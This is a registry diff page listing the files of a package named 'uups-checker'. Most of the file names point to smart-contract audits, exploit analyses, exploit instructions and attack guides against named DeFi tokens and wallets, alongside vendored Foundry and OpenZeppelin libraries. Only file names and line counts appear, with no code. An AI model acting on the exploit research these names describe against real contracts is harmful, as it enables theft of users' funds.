uups-checker 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.gitmodules +6 -0
- package/AIFI_AUDIT.md +220 -0
- package/ALL_AUDITS_SUMMARY.md +366 -0
- package/ALPHA_PROXY_CRITICAL_FINDING.md +136 -0
- package/ALPHA_PROXY_FINAL_ANALYSIS.md +213 -0
- package/ALPHA_PROXY_FINAL_VERDICT.md +233 -0
- package/ALPHA_PROXY_SELFDESTRUCT_EXPLOIT.md +161 -0
- package/ARIA-foundry-test.txt +9 -0
- package/ARIA-mythril-analysis.txt +20 -0
- package/ARIA-slither-analysis.txt +38 -0
- package/ARIA_AI_SECURITY_AUDIT.md +290 -0
- package/ARIA_VERIFIED_AUDIT.md +259 -0
- package/ARIA_VERIFIED_slither.txt +76 -0
- package/ARIVA_source.txt +1 -0
- package/ARK_AUDIT.md +349 -0
- package/BANANA_AUDIT.md +365 -0
- package/BAS_AUDIT.md +451 -0
- package/BAS_TOKEN_AUDIT.md +235 -0
- package/BCE_EXPLOIT_ANALYSIS.md +165 -0
- package/BEEFY_BNB_CHAIN_ANALYSIS.md +488 -0
- package/BEEFY_MONAD_ANALYSIS.md +239 -0
- package/BEEFY_STAKING_ANALYSIS.md +136 -0
- package/BEEFY_XVS_WBNB_ACTUAL_FINDINGS.md +223 -0
- package/BEEFY_XVS_WBNB_CRITICAL_FINDINGS.md +269 -0
- package/BLOCKSEC_ATTACK_KNOWLEDGE_BASE.md +771 -0
- package/BRISE_ANALYSIS.txt +31 -0
- package/BRISE_BSC_DAPPS.txt +68 -0
- package/BRISE_EXPLOITS_FOUND.md +98 -0
- package/BRISE_REAL_EXPLOITS.md +115 -0
- package/BRISE_WHITEHAT_REPORT.md +162 -0
- package/BRISEstake_Analysis.txt +95 -0
- package/BSCSLOCKTOKEN_CRITICAL_FINDING.md +240 -0
- package/BSW_BISWAP_SECURITY_AUDIT.md +330 -0
- package/BTCST_FINAL_VERDICT.md +319 -0
- package/BTCST_MINING_REBASE_ANALYSIS.md +229 -0
- package/BTCST_ROUNDING_DEEP_DIVE.md +293 -0
- package/BTCST_ROUNDING_FINAL_VERDICT.md +9 -0
- package/BTCST_SECURITY_ANALYSIS.md +391 -0
- package/BTR_AUDIT.md +210 -0
- package/BeamBridge-analysis.md +226 -0
- package/BeamToken-analysis.md +201 -0
- package/BitgertSwap_Investigation.txt +107 -0
- package/CEEK_STAKING_ANALYSIS.md +0 -0
- package/CHAINBASE_AUDIT.md +422 -0
- package/COMPLETE_AUDIT_SUMMARY.md +342 -0
- package/CORRECTED_ANALYSIS.txt +115 -0
- package/DBXEN_COMPARISON_SUMMARY.md +232 -0
- package/DBXEN_EXPLOIT_ANALYSIS.md +530 -0
- package/DOPFairLaunch_raw.json +29 -0
- package/DOPFairLaunch_source.txt +0 -0
- package/DOP_BRIDGE_FINAL_ANALYSIS.txt +86 -0
- package/DOP_BUSD_LP_ANALYSIS.txt +44 -0
- package/DOP_FAIRLAUNCH_ANALYSIS.txt +61 -0
- package/DOP_FAIRLAUNCH_FINAL_VERDICT.txt +113 -0
- package/DOP_STAKING_CONTRACT_ANALYSIS.txt +67 -0
- package/DSYNC_ECOSYSTEM_ANALYSIS.md +221 -0
- package/DSyncStaking-exploit-analysis.md +153 -0
- package/DSyncVault-analysis.md +120 -0
- package/DUSD_PROXY_AUDIT.md +407 -0
- package/DXSALE_LOCK_AUDIT.md +0 -0
- package/DXSaleLock_bytecode.txt +1 -0
- package/ECHIDNA_QUICK_START.md +101 -0
- package/ELEPHANT_ECOSYSTEM_AUDIT_PLAN.md +159 -0
- package/ELEPHANT_ECOSYSTEM_COMPREHENSIVE_AUDIT.md +427 -0
- package/ELEPHANT_SECURITY_ANALYSIS.md +209 -0
- package/ELEPHANT_VULNERABILITIES_EXPLAINED.md +455 -0
- package/EXPLOIT_FIX.md +300 -0
- package/EXPLOIT_INSTRUCTIONS.md +273 -0
- package/EXPLOIT_SUMMARY.md +285 -0
- package/EXPLOIT_SUMMARY.txt +175 -0
- package/FALCON_FINANCE_AUDIT.md +258 -0
- package/FANDOM_AUDIT.md +359 -0
- package/FEE_ON_TRANSFER_ANALYSIS.md +228 -0
- package/FINAL_AUDIT_REPORT.md +0 -0
- package/FOLIO_PROXY_AUDIT.md +299 -0
- package/FOT_EXPLOIT_RESULTS.txt +110 -0
- package/FOT_TOKENS_AUDITED.md +103 -0
- package/HEGIC-mythril-analysis.txt +39 -0
- package/HEGIC_COMPLETE_ANALYSIS.md +343 -0
- package/HOTCROSS_SWAP_EXPLOIT_ANALYSIS.md +123 -0
- package/ICECREAMSWAP_EXPLOITS.md +259 -0
- package/IMMUNEFI_REPORT.md +314 -0
- package/KCCPAD_EXPLOIT_GUIDE.md +285 -0
- package/KEL_CEL_EXPLOIT_ANALYSIS.md +0 -0
- package/KOGE_AUDIT.md +328 -0
- package/LENDFLARE_ANALYSIS.md +239 -0
- package/LENDFLARE_ECHIDNA_GUIDE.md +356 -0
- package/LENDFLARE_EXPLOIT_INSTRUCTIONS.md +297 -0
- package/LENDFLARE_EXPLOIT_SUMMARY.md +292 -0
- package/LENDFLARE_FLASHLOAN_GUIDE.md +383 -0
- package/LENDFLARE_FUZZING_RESULTS.md +252 -0
- package/LENDFLARE_HONEYPOT_BYPASS_ANALYSIS.md +420 -0
- package/LENDFLARE_MANUAL_FUZZING.md +324 -0
- package/LENDFLARE_MYTHRIL_ANALYSIS.md +339 -0
- package/LENDFLARE_V3_BYPASS.md +296 -0
- package/LFTDECOMPILE.txt +14478 -0
- package/LFT_ACCOUNTING_ANALYSIS.md +0 -0
- package/LFT_ACCOUNTING_BUG_ANALYSIS.md +426 -0
- package/LFT_BACKDOOR_DEEP_DIVE.md +0 -0
- package/LFT_CRITICAL_EXPLOIT_CONFIRMED.md +428 -0
- package/LFT_EXPLOIT_VISUAL.md +253 -0
- package/LFT_QUICK_SUMMARY.md +124 -0
- package/LFT_REVERSE_EXPLOIT_ANALYSIS.md +521 -0
- package/MGO_AUDIT_REPORT.md +420 -0
- package/MYTHRIL_FINAL_REPORT.md +306 -0
- package/MYTHRIL_SLITHER_SUMMARY.md +244 -0
- package/NETX_MIGRATION_AUDIT.md +0 -0
- package/NPM_PUBLISH_GUIDE.md +0 -0
- package/NRV_CRITICAL_EXPLOIT.txt +143 -0
- package/NetX_Analysis.txt +76 -0
- package/NetX_Migration_bytecode.txt +1 -0
- package/NetX_Migration_source.txt +0 -0
- package/NetX_Token_source.txt +0 -0
- package/NetxWhitehatRescue +22 -0
- package/OILER_ATTACK_VISUAL.md +351 -0
- package/OILER_BLOCKSEC_TEST_RESULTS.md +421 -0
- package/OILER_DEEP_ANALYSIS.md +212 -0
- package/OILER_FINAL_EXPLOIT_REPORT.md +241 -0
- package/OILER_FINAL_VERDICT.md +339 -0
- package/OILER_REENTRANCY_EXPLAINED.md +638 -0
- package/OILER_REENTRANCY_FINAL_SUMMARY.md +391 -0
- package/OILER_REENTRANCY_REALITY_CHECK.md +393 -0
- package/OILER_REENTRANCY_STEP_BY_STEP.md +597 -0
- package/OILER_STAKING_MAINNET_ANALYSIS.md +366 -0
- package/OILER_STAKING_SECURITY_ANALYSIS.md +409 -0
- package/PANCAKESWAP_UNDERFLOW_HUNTING.md +317 -0
- package/POLS_MULTICHAIN_AUDIT.md +0 -0
- package/POSI_STAKING_AUDIT.md +0 -0
- package/PROXY2_SECURITY_ANALYSIS.md +0 -0
- package/Proxy2TACS +29748 -0
- package/QUICK_START.md +240 -0
- package/RAMP_SECURITY_ANALYSIS.md +0 -0
- package/README.md +238 -0
- package/REAUDIT_MASTER_LIST.txt +15 -0
- package/RING_analysis.txt +212 -0
- package/RPC +4 -0
- package/RULES.txt +20 -0
- package/SIREN_AUDIT.md +186 -0
- package/SYNC_EXPLOIT_README.md +0 -0
- package/SYNC_TOKEN_EXPLOIT_REPORT.md +224 -0
- package/TLM_raw.html +0 -0
- package/TLM_raw.txt +0 -0
- package/TLM_response.json +1 -0
- package/TRADOOR_AUDIT.md +253 -0
- package/TRUNK_AUDIT.md +285 -0
- package/UNIBASE_AUDIT.md +241 -0
- package/UNLOCK_ANALYSIS.md +0 -0
- package/UNLOCK_EXPLOIT.md +49 -0
- package/UNLOCK_EXPLOIT_ANALYSIS.md +0 -0
- package/UPS +232 -0
- package/UUPSCHECKER +208 -0
- package/VAULT_PROXY_AUDIT.md +457 -0
- package/VAULT_PROXY_FINAL_VERDICT.md +0 -0
- package/VERIFIED_EXPLOITS_FINAL.txt +146 -0
- package/WKEYDAO2_AUDIT.md +245 -0
- package/WSG_AUDIT.md +0 -0
- package/XFI_DEEP_ANALYSIS.md +327 -0
- package/YOOSHI_EXPLOIT_GUIDE.md +119 -0
- package/YSDAO_EXPLOIT_GUIDE.md +0 -0
- package/agent-4-bundle.md +22490 -0
- package/alpha-proxy-echidna.txt +1 -0
- package/alpha-proxy-fuzz-results.txt +81 -0
- package/alpha-proxy-mythril.txt +2 -0
- package/analyze-btcst-farm.js +54 -0
- package/analyze-dxsale-lock.js +75 -0
- package/analyze-elephant.js +69 -0
- package/analyze-fara-rewards.js +109 -0
- package/analyze-fara-storage.js +83 -0
- package/analyze-lft-transaction.js +158 -0
- package/analyze-lock-bytecode.js +59 -0
- package/analyze-shegic.js +0 -0
- package/analyze-staking-abi.js +0 -0
- package/analyze-sxp.js +57 -0
- package/analyze-tlm.js +76 -0
- package/analyze-trumpet.js +98 -0
- package/analyze-unlimited-nft.js +108 -0
- package/analyze_elephant.sh +27 -0
- package/analyze_vault.sh +32 -0
- package/aria-bytecode.txt +1 -0
- package/aria_response.json +1 -0
- package/ark_temp/README.md +66 -0
- package/ark_temp/lib/forge-std/.gitattributes +1 -0
- package/ark_temp/lib/forge-std/.github/CODEOWNERS +1 -0
- package/ark_temp/lib/forge-std/.github/dependabot.yml +6 -0
- package/ark_temp/lib/forge-std/.github/workflows/ci.yml +125 -0
- package/ark_temp/lib/forge-std/.github/workflows/sync.yml +36 -0
- package/ark_temp/lib/forge-std/CONTRIBUTING.md +193 -0
- package/ark_temp/lib/forge-std/LICENSE-APACHE +203 -0
- package/ark_temp/lib/forge-std/LICENSE-MIT +25 -0
- package/ark_temp/lib/forge-std/README.md +314 -0
- package/ark_temp/lib/forge-std/RELEASE_CHECKLIST.md +12 -0
- package/ark_temp/lib/forge-std/package.json +16 -0
- package/ark_temp/lib/forge-std/scripts/vm.py +636 -0
- package/audits/AiFi-security-audit-20260326.md +499 -0
- package/audits/BasedAI-Brains-security-audit-20260324.md +651 -0
- package/audits/BinanceAlphaWallet-pashov-ai-audit-report-20260324-170000.md +362 -0
- package/audits/DGToken-security-audit-20260324.md +376 -0
- package/audits/DSyncStaking-audit-part1.md +161 -0
- package/audits/DSyncStaking-security-audit-20260324.md +547 -0
- package/audits/DecompiledERC20-security-audit-20260325.md +397 -0
- package/audits/DegenVC-security-audit-20260324.md +585 -0
- package/audits/DelreyInu-security-audit-20260324.md +463 -0
- package/audits/DestraNetwork-security-audit-20260324.md +705 -0
- package/audits/DomiToken-security-audit-20260324.md +514 -0
- package/audits/LendFlareToken-security-audit-20260325.md +197 -0
- package/audits/LockReleaseTokenPool-security-audit-20260324.md +482 -0
- package/audits/MOG-pashov-ai-audit-report-20260324-164900.md +229 -0
- package/audits/PAALAI-security-audit-20260324.md +475 -0
- package/audits/PAR-security-audit-20260325.md +311 -0
- package/audits/PepeCoinStaking-security-audit-20260324.md +358 -0
- package/audits/StakingPool-security-audit-20260324.md +517 -0
- package/audits/SyncToken-security-audit-20260324.md +778 -0
- package/audits/UndeadToken-decompiled-security-audit-20260324.md +485 -0
- package/audits/UnknownToken-decompiled-security-audit-20260324.md +647 -0
- package/audits/XFIStaking-security-audit-20260324.md +682 -0
- package/audits/Xfinance-security-audit-20260324.md +463 -0
- package/audits/basedAIFarm-security-audit-20260324.md +330 -0
- package/audits/pepeCoin-security-audit-20260324.md +462 -0
- package/bin/ups +232 -0
- package/binance-wallet-exploit/.env.example +2 -0
- package/binance-wallet-exploit/EXECUTIVE_SUMMARY.md +272 -0
- package/binance-wallet-exploit/EXPLOIT_SUMMARY.md +104 -0
- package/binance-wallet-exploit/FINAL_ANALYSIS.md +326 -0
- package/binance-wallet-exploit/FLASHLOAN_ATTACK.md +292 -0
- package/binance-wallet-exploit/HONEYPOT_REPORT.md +526 -0
- package/binance-wallet-exploit/INVESTIGATION_COMPLETE.md +362 -0
- package/binance-wallet-exploit/LENDFLARE_EXPLOIT.md +219 -0
- package/binance-wallet-exploit/LENDFLARE_FINAL_ATTACK.md +307 -0
- package/binance-wallet-exploit/LENDFLARE_REAL_EXPLOIT.md +286 -0
- package/binance-wallet-exploit/LENDFLARE_RUGPULL.md +269 -0
- package/binance-wallet-exploit/LFT_ANALYSIS.md +206 -0
- package/binance-wallet-exploit/QUICK_START.md +75 -0
- package/binance-wallet-exploit/README.md +195 -0
- package/binance-wallet-exploit/REAL_TX_EXPLOIT_ANALYSIS.md +271 -0
- package/binance-wallet-exploit/REMIX_INSTRUCTIONS.md +223 -0
- package/binance-wallet-exploit/TEST_RESULTS.md +203 -0
- package/binance-wallet-exploit/cache/solidity-files-cache.json +1 -0
- package/binance-wallet-exploit/cache/test-failures +1 -0
- package/binance-wallet-exploit/lib/forge-std/.gitattributes +1 -0
- package/binance-wallet-exploit/lib/forge-std/.github/CODEOWNERS +1 -0
- package/binance-wallet-exploit/lib/forge-std/.github/dependabot.yml +6 -0
- package/binance-wallet-exploit/lib/forge-std/.github/workflows/ci.yml +125 -0
- package/binance-wallet-exploit/lib/forge-std/.github/workflows/sync.yml +36 -0
- package/binance-wallet-exploit/lib/forge-std/CONTRIBUTING.md +193 -0
- package/binance-wallet-exploit/lib/forge-std/LICENSE-APACHE +203 -0
- package/binance-wallet-exploit/lib/forge-std/LICENSE-MIT +25 -0
- package/binance-wallet-exploit/lib/forge-std/README.md +314 -0
- package/binance-wallet-exploit/lib/forge-std/RELEASE_CHECKLIST.md +12 -0
- package/binance-wallet-exploit/lib/forge-std/package.json +16 -0
- package/binance-wallet-exploit/lib/forge-std/scripts/vm.py +636 -0
- package/binance-wallet-exploit/out/build-info/1e9aa7e86cf56962.json +1 -0
- package/binance-wallet-exploit/out/build-info/6f56f10e9d7b56eb.json +1 -0
- package/binance-wallet-exploit/out/build-info/7edba961ff697a24.json +1 -0
- package/binance-wallet-exploit/out/build-info/8c27fe3efea2f2e7.json +1 -0
- package/binance-wallet-exploit/out/build-info/978b680daffec63a.json +1 -0
- package/binance-wallet-exploit/out/build-info/9806b900b5672d0c.json +1 -0
- package/binance-wallet-exploit/out/build-info/b4b9ff36e9b3fc27.json +1 -0
- package/binance-wallet-exploit/out/build-info/b6f4df9ae05c0812.json +1 -0
- package/binance-wallet-exploit/out/build-info/c88dbc86551f7b5c.json +1 -0
- package/binance-wallet-exploit/out/build-info/e9657504010623db.json +1 -0
- package/cache/fuzz/failures/ARIAVerifiedFuzzTest/testFuzz_ApprovalRaceCondition +1 -0
- package/cache/fuzz/failures/HotCrossSwapFuzzTest/testFuzz_DirectTransferExploit +1 -0
- package/cache/fuzz/failures/HotCrossSwapFuzzTest/testFuzz_LargeSwapDrain +1 -0
- package/cache/fuzz/failures/LendFlareFuzz/testFuzz_ApprovalExploit +1 -0
- package/cache/fuzz/failures/LendFlareFuzz/testFuzz_BalanceManipulation +1 -0
- package/cache/fuzz/failures/LendFlareFuzz/testFuzz_RateManipulation +1 -0
- package/cache/fuzz/failures/LendFlareFuzz/testFuzz_StorageManipulation +1 -0
- package/cache/fuzz/failures/PARFuzzTest/testFuzz_OverflowTransfer +1 -0
- package/cache/fuzz/failures/PARFuzzTest/testFuzz_Transfer +1 -0
- package/cache/fuzz/failures/XFIDeepFuzz/testFuzz_FrontrunAddfunds +1 -0
- package/cache/fuzz/failures/XFIDeepFuzz/testFuzz_RewardOverflow +1 -0
- package/cache/fuzz/failures/XFIDeepFuzz/testFuzz_RoundingExploit +1 -0
- package/cache/fuzz/failures/XFIDeepFuzz/testFuzz_WithdrawLimit +1 -0
- package/cache/solidity-files-cache.json +1 -0
- package/cache/test-failures +1 -0
- package/calculate-elephant-flashloan.js +195 -0
- package/check-address-approval.js +112 -0
- package/check-alpha-proxy.js +42 -0
- package/check-arbitrage.js +155 -0
- package/check-aria-token.js +47 -0
- package/check-ark.sh +20 -0
- package/check-btcst-mining.js +75 -0
- package/check-btcst-pools.js +163 -0
- package/check-btcst.js +88 -0
- package/check-caller.js +26 -0
- package/check-ceek-lp.js +73 -0
- package/check-ceek.js +47 -0
- package/check-dxsale-address.js +35 -0
- package/check-fara-exploit-timing.js +56 -0
- package/check-fara-real-exploit.js +73 -0
- package/check-flashloan-limits.js +129 -0
- package/check-kel-cel-pool.js +91 -0
- package/check-lax-staking.js +41 -0
- package/check-lendflare.js +165 -0
- package/check-lft-accounting.js +109 -0
- package/check-lft-roles.js +165 -0
- package/check-lock-time.js +47 -0
- package/check-min-stake.js +73 -0
- package/check-mystery-contract.js +52 -0
- package/check-next-token.js +50 -0
- package/check-nora-lock.js +67 -0
- package/check-oiler-approvals.js +116 -0
- package/check-oiler-proxy.js +73 -0
- package/check-oiler-staking.js +117 -0
- package/check-proxy-simple.js +71 -0
- package/check-recent-stakes.js +54 -0
- package/check-shegic-holdings.js +67 -0
- package/check-snowcrash-ecosystem.js +83 -0
- package/check-sync-lp.js +97 -0
- package/check-sync-stake.js +42 -0
- package/check-tlm.js +37 -0
- package/check-token-pools.js +146 -0
- package/check-trunk-depeg.js +181 -0
- package/check-tusd-decimals.js +58 -0
- package/check-user-storage-deep.js +81 -0
- package/check-welephant-pools.js +130 -0
- package/check-xfi-pool.js +75 -0
- package/check-zypher.js +32 -0
- package/check_proxy.sh +36 -0
- package/compare-tlm-chains.js +90 -0
- package/contract_0x05f2.html +6025 -0
- package/contract_0x3720.html +6361 -0
- package/contract_0x928e.html +5606 -0
- package/contract_0xc42d.html +5304 -0
- package/contract_page.html +5789 -0
- package/decode-stake-tx.js +50 -0
- package/deep-analyze-lock.js +82 -0
- package/dune_uups_proxy_query.sql +42 -0
- package/dune_uups_vulnerable_query.sql +0 -0
- package/echidna/alpha-proxy.yaml +14 -0
- package/echidna/elephant.yaml +7 -0
- package/echidna/lendflare.yaml +42 -0
- package/echidna.config.yaml +12 -0
- package/elephant_raw.json +1 -0
- package/eps_raw.json +1 -0
- package/exploit/.github/workflows/test.yml +38 -0
- package/exploit/.gitmodules +3 -0
- package/exploit/README.md +66 -0
- package/exploit/foundry.lock +8 -0
- package/exploit/lib/forge-std/.gitattributes +1 -0
- package/exploit/lib/forge-std/.github/CODEOWNERS +1 -0
- package/exploit/lib/forge-std/.github/dependabot.yml +6 -0
- package/exploit/lib/forge-std/.github/workflows/ci.yml +125 -0
- package/exploit/lib/forge-std/.github/workflows/sync.yml +36 -0
- package/exploit/lib/forge-std/CONTRIBUTING.md +193 -0
- package/exploit/lib/forge-std/LICENSE-APACHE +203 -0
- package/exploit/lib/forge-std/LICENSE-MIT +25 -0
- package/exploit/lib/forge-std/README.md +314 -0
- package/exploit/lib/forge-std/RELEASE_CHECKLIST.md +12 -0
- package/exploit/lib/forge-std/package.json +16 -0
- package/exploit/lib/forge-std/scripts/vm.py +636 -0
- package/exploit_analysis.txt +51 -0
- package/extract_contract.py +21 -0
- package/extract_elephant_contracts.py +24 -0
- package/fara-staking-bytecode.txt +1 -0
- package/fara-staking-raw.txt +1 -0
- package/fetch-aria.js +46 -0
- package/fetch-contract.js +50 -0
- package/fetch-shegic-source.js +86 -0
- package/fetch-snowcrash.js +44 -0
- package/fetch-staking-source.js +53 -0
- package/fetch-tlm.js +60 -0
- package/fetch_elephant_source.py +32 -0
- package/find-ceek-staking.js +21 -0
- package/find-exploit-tx.js +88 -0
- package/find-oiler-holders.js +100 -0
- package/find-tlm-holder.js +36 -0
- package/find-vulnerable-fund.js +94 -0
- package/foundry.lock +8 -0
- package/fuzz-all.sh +53 -0
- package/get-aria-contract.py +40 -0
- package/get-lft-holders.js +89 -0
- package/get-tlm-source.sh +8 -0
- package/harvest_txs.json +1 -0
- package/lft-bytecode-raw.txt +1 -0
- package/lft-bytecode.json +1 -0
- package/lft-impl.bin +1 -0
- package/lft-implementation-bytecode.txt +1 -0
- package/lib/forge-std/.gitattributes +1 -0
- package/lib/forge-std/.github/CODEOWNERS +1 -0
- package/lib/forge-std/.github/dependabot.yml +6 -0
- package/lib/forge-std/.github/workflows/ci.yml +125 -0
- package/lib/forge-std/.github/workflows/sync.yml +36 -0
- package/lib/forge-std/CONTRIBUTING.md +193 -0
- package/lib/forge-std/LICENSE-APACHE +203 -0
- package/lib/forge-std/LICENSE-MIT +25 -0
- package/lib/forge-std/README.md +314 -0
- package/lib/forge-std/RELEASE_CHECKLIST.md +12 -0
- package/lib/forge-std/package.json +16 -0
- package/lib/forge-std/scripts/vm.py +636 -0
- package/lib/openzeppelin-contracts/.changeset/config.json +12 -0
- package/lib/openzeppelin-contracts/.codecov.yml +12 -0
- package/lib/openzeppelin-contracts/.editorconfig +21 -0
- package/lib/openzeppelin-contracts/.eslintrc +20 -0
- package/lib/openzeppelin-contracts/.github/ISSUE_TEMPLATE/bug_report.md +21 -0
- package/lib/openzeppelin-contracts/.github/ISSUE_TEMPLATE/config.yml +4 -0
- package/lib/openzeppelin-contracts/.github/ISSUE_TEMPLATE/feature_request.md +14 -0
- package/lib/openzeppelin-contracts/.github/PULL_REQUEST_TEMPLATE.md +20 -0
- package/lib/openzeppelin-contracts/.github/actions/gas-compare/action.yml +49 -0
- package/lib/openzeppelin-contracts/.github/actions/setup/action.yml +21 -0
- package/lib/openzeppelin-contracts/.github/actions/storage-layout/action.yml +55 -0
- package/lib/openzeppelin-contracts/.github/workflows/actionlint.yml +18 -0
- package/lib/openzeppelin-contracts/.github/workflows/changeset.yml +28 -0
- package/lib/openzeppelin-contracts/.github/workflows/checks.yml +118 -0
- package/lib/openzeppelin-contracts/.github/workflows/docs.yml +19 -0
- package/lib/openzeppelin-contracts/.github/workflows/formal-verification.yml +68 -0
- package/lib/openzeppelin-contracts/.github/workflows/release-cycle.yml +214 -0
- package/lib/openzeppelin-contracts/.github/workflows/upgradeable.yml +34 -0
- package/lib/openzeppelin-contracts/.gitmodules +7 -0
- package/lib/openzeppelin-contracts/.mocharc.js +4 -0
- package/lib/openzeppelin-contracts/.prettierrc +15 -0
- package/lib/openzeppelin-contracts/.solcover.js +13 -0
- package/lib/openzeppelin-contracts/CHANGELOG.md +972 -0
- package/lib/openzeppelin-contracts/CODE_OF_CONDUCT.md +73 -0
- package/lib/openzeppelin-contracts/CONTRIBUTING.md +36 -0
- package/lib/openzeppelin-contracts/GUIDELINES.md +148 -0
- package/lib/openzeppelin-contracts/LICENSE +22 -0
- package/lib/openzeppelin-contracts/README.md +107 -0
- package/lib/openzeppelin-contracts/RELEASING.md +45 -0
- package/lib/openzeppelin-contracts/SECURITY.md +42 -0
- package/lib/openzeppelin-contracts/audits/2017-03.md +292 -0
- package/lib/openzeppelin-contracts/audits/2018-10.pdf +0 -0
- package/lib/openzeppelin-contracts/audits/2022-10-Checkpoints.pdf +0 -0
- package/lib/openzeppelin-contracts/audits/2022-10-ERC4626.pdf +0 -0
- package/lib/openzeppelin-contracts/audits/2023-05-v4.9.pdf +0 -0
- package/lib/openzeppelin-contracts/audits/2023-10-v5.0.pdf +0 -0
- package/lib/openzeppelin-contracts/audits/README.md +17 -0
- package/lib/openzeppelin-contracts/certora/Makefile +54 -0
- package/lib/openzeppelin-contracts/certora/README.md +60 -0
- package/lib/openzeppelin-contracts/certora/diff/access_manager_AccessManager.sol.patch +97 -0
- package/lib/openzeppelin-contracts/certora/reports/2021-10.pdf +0 -0
- package/lib/openzeppelin-contracts/certora/reports/2022-03.pdf +0 -0
- package/lib/openzeppelin-contracts/certora/reports/2022-05.pdf +0 -0
- package/lib/openzeppelin-contracts/certora/run.js +160 -0
- package/lib/openzeppelin-contracts/certora/specs/AccessControl.spec +119 -0
- package/lib/openzeppelin-contracts/certora/specs/AccessControlDefaultAdminRules.spec +464 -0
- package/lib/openzeppelin-contracts/certora/specs/DoubleEndedQueue.spec +300 -0
- package/lib/openzeppelin-contracts/certora/specs/ERC20.spec +352 -0
- package/lib/openzeppelin-contracts/certora/specs/ERC20FlashMint.spec +55 -0
- package/lib/openzeppelin-contracts/certora/specs/ERC20Wrapper.spec +198 -0
- package/lib/openzeppelin-contracts/certora/specs/ERC721.spec +679 -0
- package/lib/openzeppelin-contracts/certora/specs/EnumerableMap.spec +333 -0
- package/lib/openzeppelin-contracts/certora/specs/EnumerableSet.spec +246 -0
- package/lib/openzeppelin-contracts/certora/specs/Initializable.spec +165 -0
- package/lib/openzeppelin-contracts/certora/specs/Ownable.spec +77 -0
- package/lib/openzeppelin-contracts/certora/specs/Ownable2Step.spec +108 -0
- package/lib/openzeppelin-contracts/certora/specs/Pausable.spec +96 -0
- package/lib/openzeppelin-contracts/certora/specs/TimelockController.spec +274 -0
- package/lib/openzeppelin-contracts/certora/specs/helpers/helpers.spec +7 -0
- package/lib/openzeppelin-contracts/certora/specs/methods/IAccessControl.spec +8 -0
- package/lib/openzeppelin-contracts/certora/specs/methods/IAccessControlDefaultAdminRules.spec +36 -0
- package/lib/openzeppelin-contracts/certora/specs/methods/IERC20.spec +11 -0
- package/lib/openzeppelin-contracts/certora/specs/methods/IERC2612.spec +5 -0
- package/lib/openzeppelin-contracts/certora/specs/methods/IERC3156FlashBorrower.spec +3 -0
- package/lib/openzeppelin-contracts/certora/specs/methods/IERC3156FlashLender.spec +5 -0
- package/lib/openzeppelin-contracts/certora/specs/methods/IERC5313.spec +3 -0
- package/lib/openzeppelin-contracts/certora/specs/methods/IERC721.spec +17 -0
- package/lib/openzeppelin-contracts/certora/specs/methods/IERC721Receiver.spec +3 -0
- package/lib/openzeppelin-contracts/certora/specs/methods/IOwnable.spec +5 -0
- package/lib/openzeppelin-contracts/certora/specs/methods/IOwnable2Step.spec +7 -0
- package/lib/openzeppelin-contracts/certora/specs.json +86 -0
- package/lib/openzeppelin-contracts/contracts/access/README.adoc +43 -0
- package/lib/openzeppelin-contracts/contracts/finance/README.adoc +14 -0
- package/lib/openzeppelin-contracts/contracts/governance/README.adoc +167 -0
- package/lib/openzeppelin-contracts/contracts/interfaces/README.adoc +82 -0
- package/lib/openzeppelin-contracts/contracts/metatx/README.adoc +12 -0
- package/lib/openzeppelin-contracts/contracts/package.json +32 -0
- package/lib/openzeppelin-contracts/contracts/proxy/README.adoc +87 -0
- package/lib/openzeppelin-contracts/contracts/token/ERC1155/README.adoc +41 -0
- package/lib/openzeppelin-contracts/contracts/token/ERC20/README.adoc +67 -0
- package/lib/openzeppelin-contracts/contracts/token/ERC721/README.adoc +67 -0
- package/lib/openzeppelin-contracts/contracts/token/common/README.adoc +10 -0
- package/lib/openzeppelin-contracts/contracts/utils/README.adoc +88 -0
- package/lib/openzeppelin-contracts/contracts/vendor/compound/LICENSE +11 -0
- package/lib/openzeppelin-contracts/docs/README.md +16 -0
- package/lib/openzeppelin-contracts/docs/antora.yml +7 -0
- package/lib/openzeppelin-contracts/docs/config.js +21 -0
- package/lib/openzeppelin-contracts/docs/modules/ROOT/images/erc4626-attack-3a.png +0 -0
- package/lib/openzeppelin-contracts/docs/modules/ROOT/images/erc4626-attack-3b.png +0 -0
- package/lib/openzeppelin-contracts/docs/modules/ROOT/images/erc4626-attack-6.png +0 -0
- package/lib/openzeppelin-contracts/docs/modules/ROOT/images/erc4626-attack.png +0 -0
- package/lib/openzeppelin-contracts/docs/modules/ROOT/images/erc4626-deposit.png +0 -0
- package/lib/openzeppelin-contracts/docs/modules/ROOT/images/erc4626-mint.png +0 -0
- package/lib/openzeppelin-contracts/docs/modules/ROOT/images/erc4626-rate-linear.png +0 -0
- package/lib/openzeppelin-contracts/docs/modules/ROOT/images/erc4626-rate-loglog.png +0 -0
- package/lib/openzeppelin-contracts/docs/modules/ROOT/images/erc4626-rate-loglogext.png +0 -0
- package/lib/openzeppelin-contracts/docs/modules/ROOT/images/tally-exec.png +0 -0
- package/lib/openzeppelin-contracts/docs/modules/ROOT/images/tally-vote.png +0 -0
- package/lib/openzeppelin-contracts/docs/modules/ROOT/nav.adoc +23 -0
- package/lib/openzeppelin-contracts/docs/modules/ROOT/pages/access-control.adoc +204 -0
- package/lib/openzeppelin-contracts/docs/modules/ROOT/pages/backwards-compatibility.adoc +48 -0
- package/lib/openzeppelin-contracts/docs/modules/ROOT/pages/crowdsales.adoc +11 -0
- package/lib/openzeppelin-contracts/docs/modules/ROOT/pages/drafts.adoc +19 -0
- package/lib/openzeppelin-contracts/docs/modules/ROOT/pages/erc1155.adoc +145 -0
- package/lib/openzeppelin-contracts/docs/modules/ROOT/pages/erc20-supply.adoc +71 -0
- package/lib/openzeppelin-contracts/docs/modules/ROOT/pages/erc20.adoc +77 -0
- package/lib/openzeppelin-contracts/docs/modules/ROOT/pages/erc4626.adoc +214 -0
- package/lib/openzeppelin-contracts/docs/modules/ROOT/pages/erc721.adoc +79 -0
- package/lib/openzeppelin-contracts/docs/modules/ROOT/pages/extending-contracts.adoc +77 -0
- package/lib/openzeppelin-contracts/docs/modules/ROOT/pages/faq.adoc +13 -0
- package/lib/openzeppelin-contracts/docs/modules/ROOT/pages/governance.adoc +240 -0
- package/lib/openzeppelin-contracts/docs/modules/ROOT/pages/index.adoc +79 -0
- package/lib/openzeppelin-contracts/docs/modules/ROOT/pages/tokens.adoc +31 -0
- package/lib/openzeppelin-contracts/docs/modules/ROOT/pages/upgradeable.adoc +77 -0
